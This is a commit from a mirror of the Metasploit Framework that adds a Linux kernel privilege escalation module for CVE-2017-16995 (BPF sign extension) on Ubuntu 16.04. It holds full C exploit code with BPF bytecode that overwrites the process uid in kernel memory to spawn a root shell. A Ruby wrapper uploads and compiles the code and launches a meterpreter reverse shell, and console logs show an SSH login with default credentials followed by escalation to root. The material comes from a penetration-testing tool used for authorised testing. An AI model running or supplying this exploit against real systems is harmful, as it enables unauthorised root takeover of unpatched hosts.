1
mirror of https://github.com/rapid7/metasploit-framework synced 2024-10-09 04:26:11 +02:00

cve-2017-16995

This commit is contained in:
h00die 2018-03-23 21:09:56 -04:00
parent d66f409542
commit 6b0691a91a
3 changed files with 528 additions and 0 deletions

Binary file not shown.

View File

@ -0,0 +1,140 @@
## Vulnerable Application
This module exploits the Berkeley Packet Filter in the Linux kernel prior to 4.13.0,
which cotains a vulnerability where it may improperly perform sign extentension.
This can be utilized to priv escalate. However, this module's offsets and
other parameters have only been set and tested against Ubuntu 16.04.
This module has been successfully tested on:
* Ubuntu 16.04 with the 4.4.0-116 kernel
## Verification Steps
1. Start msfconsole
2. Exploit a box via whatever method
4. Do: `use exploit/linux/local/bpf_extension_priv_esc`
5. Do: `set session #`
6. Do: `set verbose true`
7. Do: `exploit`
## Options
**WritableDir**
A folder we can write files to. Defaults to `/tmp`
**COMPILE**
If we should live compile on the system, or drop pre-created binaries. Auto will determine if gcc/libs are installed to compile live on the system. Defaults to `Auto`
## Scenarios
### Ubuntu 16.04 (with Linux 4.4.0-116-generic)
#### Initial Access
```
resource (ubuntu.rb)> use auxiliary/scanner/ssh/ssh_login
resource (ubuntu.rb)> set rhosts 2.2.2.2
rhosts => 2.2.2.2
resource (ubuntu.rb)> set username ubuntu
username => ubuntu
resource (ubuntu.rb)> set password ubuntu
password => ubuntu
resource (ubuntu.rb)> exploit
[+] 2.2.2.2:22 - Success: 'ubuntu:ubuntu' 'uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare) Linux ubuntu 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux '
[*] Command shell session 1 opened (1.1.1.1:36273 -> 2.2.2.2:22) at 2018-03-23 20:42:04 -0400
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
#### Escalate
In this scenario, gcc is installed so we can live compile on the system.
```
resource (ubuntu.rb)> use exploit/linux/local/bpf_sign_extension_priv_esc
resource (ubuntu.rb)> set verbose true
verbose => true
resource (ubuntu.rb)> set session 1
session => 1
resource (ubuntu.rb)> set lhost 1.1.1.1
lhost => 1.1.1.1
resource (ubuntu.rb)> exploit
[!] SESSION may not be compatible with this module.
[*] Started reverse TCP handler on 1.1.1.1:4444
[+] Kernel confirmed vulnerable
[+] gcc is installed
[*] Live compiling exploit on system
[*] Writing files to target
[*] Writing vQIIRofN to /tmp/vQIIRofN.c
[*] Max line length is 65537
[*] Writing 7797 bytes in 1 chunks of 26837 bytes (octal-encoded), using printf
[*] Writing iuRJiXBf to /tmp/iuRJiXBf
[*] Max line length is 65537
[*] Writing 283 bytes in 1 chunks of 844 bytes (octal-encoded), using printf
[*] Starting execution of priv esc.
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (812100 bytes) to 2.2.2.2
[*] task_struct = ffff88003869aa00
[*] uidptr = ffff8800354fb244
[*] spawning root shell
[*] Sleeping before handling stage...
[+] Deleted /tmp/vQIIRofN.c
[+] Deleted /tmp/vQIIRofN
[+] Deleted /tmp/iuRJiXBf
meterpreter > sysinfo
Computer : 2.2.2.2
OS : Ubuntu 16.04 (Linux 4.4.0-116-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
```
#### Escalate w/ pre-compiled binaries
It is possible to force pre-compiled binaries, in a scenario where `build-essential` or `gcc` aren't on the system.
```
resource (ubuntu.rb)> use exploit/linux/local/bpf_sign_extension_priv_esc
resource (ubuntu.rb)> set verbose true
verbose => true
resource (ubuntu.rb)> set session 1
session => 1
resource (ubuntu.rb)> set lhost 1.1.1.1
lhost => 1.1.1.1
resource (ubuntu.rb)> exploit
[!] SESSION may not be compatible with this module.
[*] Started reverse TCP handler on 1.1.1.1:4444
[+] Kernel confirmed vulnerable
[-] gcc is not installed. Compiling will fail.
[*] Dropping pre-compiled exploit on system
[*] Writing vsQTwocG to /tmp/vsQTwocG
[*] Max line length is 65537
[*] Writing 14040 bytes in 1 chunks of 36802 bytes (octal-encoded), using printf
[*] Writing JDQDHtEG to /tmp/JDQDHtEG
[*] Max line length is 65537
[*] Writing 283 bytes in 1 chunks of 844 bytes (octal-encoded), using printf
[*] Starting execution of priv esc.
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (812100 bytes) to 2.2.2.2
[*] task_struct = ffff88003a8a3800
[*] uidptr = ffff88003d276304
[*] spawning root shell
[*] Sleeping before handling stage...
[+] Deleted /tmp/vsQTwocG
[+] Deleted /tmp/JDQDHtEG
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter > sysinfo
Computer : 2.2.2.2
OS : Ubuntu 16.04 (Linux 4.4.0-116-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
```

View File

@ -0,0 +1,388 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = GoodRanking
include Msf::Exploit::EXE
include Msf::Post::File
include Msf::Exploit::FileDropper
def initialize(info={})
super( update_info( info, {
'Name' => 'Ubuntu BPF Sign Extension Local Privilege Escalation',
'Description' => %q{
Linux kernel prior to 4.13.0 utilize the Berkeley Packet Filter
which cotains a vulnerability where it may improperly perform
sign extentension. This can be utilized to priv escalate,
this module has been tested on Ubuntu 16.04 with the 4.4.0-116
kernel.
},
'License' => MSF_LICENSE,
'Author' =>
[
'bleidl', # discovery
'vnik', #edb
'h00die' # metasploit module
],
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'References' =>
[
[ 'CVE', '2017-16995' ],
[ 'EDB', '44298' ],
[ 'URL', 'https://usn.ubuntu.com/3523-2/' ],
[ 'URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=95a762e2c8c942780948091f8f2a4f32fce1ac6f' ]
],
'Targets' =>
[
[ 'Linux x64', { 'Arch' => ARCH_X64 } ]
],
'DefaultOptions' =>
{
'payload' => 'linux/x64/meterpreter/reverse_tcp',
'PrependFork' => true,
},
'DefaultTarget' => 0,
'DisclosureDate' => 'Nov 12 2017',
'Privileged' => true
}
))
register_options([
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']]),
])
end
def check
uname = cmd_exec('uname -r')
if uname == '4.4.0-116-generic'
vprint_good('Kernel confirmed vulnerable')
return CheckCode::Appears
end
print_error('Kernel not vulnerable')
CheckCode::Safe
end
def exploit
def upload_and_compile(filename, file_path, file_content, compile=nil)
rm_f "#{file_path}"
if not compile.nil?
rm_f "#{file_path}.c"
vprint_status("Writing #{filename} to #{file_path}.c")
write_file("#{file_path}.c", file_content)
register_file_for_cleanup("#{file_path}.c")
output = cmd_exec(compile)
if output != ''
print_error(output)
fail_with(Failure::Unknown, "#{filename} at #{file_path}.c failed to compile")
end
else
vprint_status("Writing #{filename} to #{file_path}")
write_file(file_path, file_content)
end
cmd_exec("chmod +x #{file_path}");
register_file_for_cleanup(file_path)
end
c_code = %q{
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <string.h>
#include <linux/bpf.h>
#include <linux/unistd.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <sys/stat.h>
#include <stdint.h>
#define PHYS_OFFSET 0xffff880000000000
#define CRED_OFFSET 0x5f8
#define UID_OFFSET 4
#define LOG_BUF_SIZE 65536
#define PROGSIZE 328
int sockets[2];
int mapfd, progfd;
char *__prog = "\xb4\x09\x00\x00\xff\xff\xff\xff"
"\x55\x09\x02\x00\xff\xff\xff\xff"
"\xb7\x00\x00\x00\x00\x00\x00\x00"
"\x95\x00\x00\x00\x00\x00\x00\x00"
"\x18\x19\x00\x00\x03\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00"
"\xbf\x91\x00\x00\x00\x00\x00\x00"
"\xbf\xa2\x00\x00\x00\x00\x00\x00"
"\x07\x02\x00\x00\xfc\xff\xff\xff"
"\x62\x0a\xfc\xff\x00\x00\x00\x00"
"\x85\x00\x00\x00\x01\x00\x00\x00"
"\x55\x00\x01\x00\x00\x00\x00\x00"
"\x95\x00\x00\x00\x00\x00\x00\x00"
"\x79\x06\x00\x00\x00\x00\x00\x00"
"\xbf\x91\x00\x00\x00\x00\x00\x00"
"\xbf\xa2\x00\x00\x00\x00\x00\x00"
"\x07\x02\x00\x00\xfc\xff\xff\xff"
"\x62\x0a\xfc\xff\x01\x00\x00\x00"
"\x85\x00\x00\x00\x01\x00\x00\x00"
"\x55\x00\x01\x00\x00\x00\x00\x00"
"\x95\x00\x00\x00\x00\x00\x00\x00"
"\x79\x07\x00\x00\x00\x00\x00\x00"
"\xbf\x91\x00\x00\x00\x00\x00\x00"
"\xbf\xa2\x00\x00\x00\x00\x00\x00"
"\x07\x02\x00\x00\xfc\xff\xff\xff"
"\x62\x0a\xfc\xff\x02\x00\x00\x00"
"\x85\x00\x00\x00\x01\x00\x00\x00"
"\x55\x00\x01\x00\x00\x00\x00\x00"
"\x95\x00\x00\x00\x00\x00\x00\x00"
"\x79\x08\x00\x00\x00\x00\x00\x00"
"\xbf\x02\x00\x00\x00\x00\x00\x00"
"\xb7\x00\x00\x00\x00\x00\x00\x00"
"\x55\x06\x03\x00\x00\x00\x00\x00"
"\x79\x73\x00\x00\x00\x00\x00\x00"
"\x7b\x32\x00\x00\x00\x00\x00\x00"
"\x95\x00\x00\x00\x00\x00\x00\x00"
"\x55\x06\x02\x00\x01\x00\x00\x00"
"\x7b\xa2\x00\x00\x00\x00\x00\x00"
"\x95\x00\x00\x00\x00\x00\x00\x00"
"\x7b\x87\x00\x00\x00\x00\x00\x00"
"\x95\x00\x00\x00\x00\x00\x00\x00";
char bpf_log_buf[LOG_BUF_SIZE];
static int bpf_prog_load(enum bpf_prog_type prog_type,
const struct bpf_insn *insns, int prog_len,
const char *license, int kern_version) {
union bpf_attr attr = {
.prog_type = prog_type,
.insns = (__u64)insns,
.insn_cnt = prog_len / sizeof(struct bpf_insn),
.license = (__u64)license,
.log_buf = (__u64)bpf_log_buf,
.log_size = LOG_BUF_SIZE,
.log_level = 1,
};
attr.kern_version = kern_version;
bpf_log_buf[0] = 0;
return syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr));
}
static int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size,
int max_entries) {
union bpf_attr attr = {
.map_type = map_type,
.key_size = key_size,
.value_size = value_size,
.max_entries = max_entries
};
return syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr));
}
static int bpf_update_elem(uint64_t key, uint64_t value) {
union bpf_attr attr = {
.map_fd = mapfd,
.key = (__u64)&key,
.value = (__u64)&value,
.flags = 0,
};
return syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr));
}
static int bpf_lookup_elem(void *key, void *value) {
union bpf_attr attr = {
.map_fd = mapfd,
.key = (__u64)key,
.value = (__u64)value,
};
return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr));
}
static void __exit(char *err) {
fprintf(stderr, "error: %s\n", err);
exit(-1);
}
static void prep(void) {
mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 3);
if (mapfd < 0)
__exit(strerror(errno));
progfd = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER,
(struct bpf_insn *)__prog, PROGSIZE, "GPL", 0);
if (progfd < 0)
__exit(strerror(errno));
if(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets))
__exit(strerror(errno));
if(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0)
__exit(strerror(errno));
}
static void writemsg(void) {
char buffer[64];
ssize_t n = write(sockets[0], buffer, sizeof(buffer));
if (n < 0) {
perror("write");
return;
}
if (n != sizeof(buffer))
fprintf(stderr, "short write: %lu\n", n);
}
#define __update_elem(a, b, c) \
bpf_update_elem(0, (a)); \
bpf_update_elem(1, (b)); \
bpf_update_elem(2, (c)); \
writemsg();
static uint64_t get_value(int key) {
uint64_t value;
if (bpf_lookup_elem(&key, &value))
__exit(strerror(errno));
return value;
}
static uint64_t __get_fp(void) {
__update_elem(1, 0, 0);
return get_value(2);
}
static uint64_t __read(uint64_t addr) {
__update_elem(0, addr, 0);
return get_value(2);
}
static void __write(uint64_t addr, uint64_t val) {
__update_elem(2, addr, val);
}
static uint64_t get_sp(uint64_t addr) {
return addr & ~(0x4000 - 1);
}
static void pwn(void) {
uint64_t fp, sp, task_struct, credptr, uidptr;
fp = __get_fp();
if (fp < PHYS_OFFSET)
__exit("bogus fp");
sp = get_sp(fp);
if (sp < PHYS_OFFSET)
__exit("bogus sp");
task_struct = __read(sp);
if (task_struct < PHYS_OFFSET)
__exit("bogus task ptr");
printf("task_struct = %lx\n", task_struct);
credptr = __read(task_struct + CRED_OFFSET); // cred
if (credptr < PHYS_OFFSET)
__exit("bogus cred ptr");
uidptr = credptr + UID_OFFSET; // uid
if (uidptr < PHYS_OFFSET)
__exit("bogus uid ptr");
printf("uidptr = %lx\n", uidptr);
__write(uidptr, 0); // set both uid and gid to 0
if (getuid() == 0) {
printf("spawning root shell\n");
system("/bin/bash");
exit(0);
}
__exit("not vulnerable?");
}
int main(int argc, char **argv) {
prep();
pwn();
return 0;
}
}
filename = rand_text_alpha(8)
path = "#{datastore['WritableDir']}/#{filename}"
if check != CheckCode::Appears
fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')
end
def check_gcc?()
gcc = cmd_exec('which gcc')
if gcc.include?('gcc')
vprint_good('gcc is installed')
return true
else
print_error('gcc is not installed. Compiling will fail.')
return false
end
end
compile = false
if datastore['COMPILE'] == 'Auto' || datastore['COMPILE'] == 'True'
if check_gcc?()
compile = true
vprint_status('Live compiling exploit on system')
else
vprint_status('Dropping pre-compiled exploit on system')
end
end
if compile == false
compiled_path = ::File.join( Msf::Config.data_directory, 'exploits', 'cve-2017-16995', 'exploit.out')
fd = ::File.open( compiled_path, "rb")
c_code = fd.read(fd.stat.size)
fd.close
# use the variable names hard coded in the compiled versions
payload_filename = 'JDQDHtEG'
payload_path = '/tmp/JDQDHtEG'
else
payload_filename = rand_text_alpha(8)
payload_path = "#{datastore['WritableDir']}/#{payload_filename}"
# make our substitutions so things are dynamic
c_code.gsub!(/system\("\/bin\/bash"\);/,
"system(\"#{payload_path}\");") #launch our payload, and do it in a return to not freeze the executable
print_status('Writing files to target')
cmd_exec("cd #{datastore['WritableDir']}")
end
upload_and_compile(filename, path, c_code, compile ? "gcc -o #{filename} #{filename}.c" : nil)
upload_and_compile(payload_filename, payload_path, generate_payload_exe)
print_status('Starting execution of priv esc.')
output = cmd_exec(path)
output.each_line { |line| vprint_status line.chomp }
end
end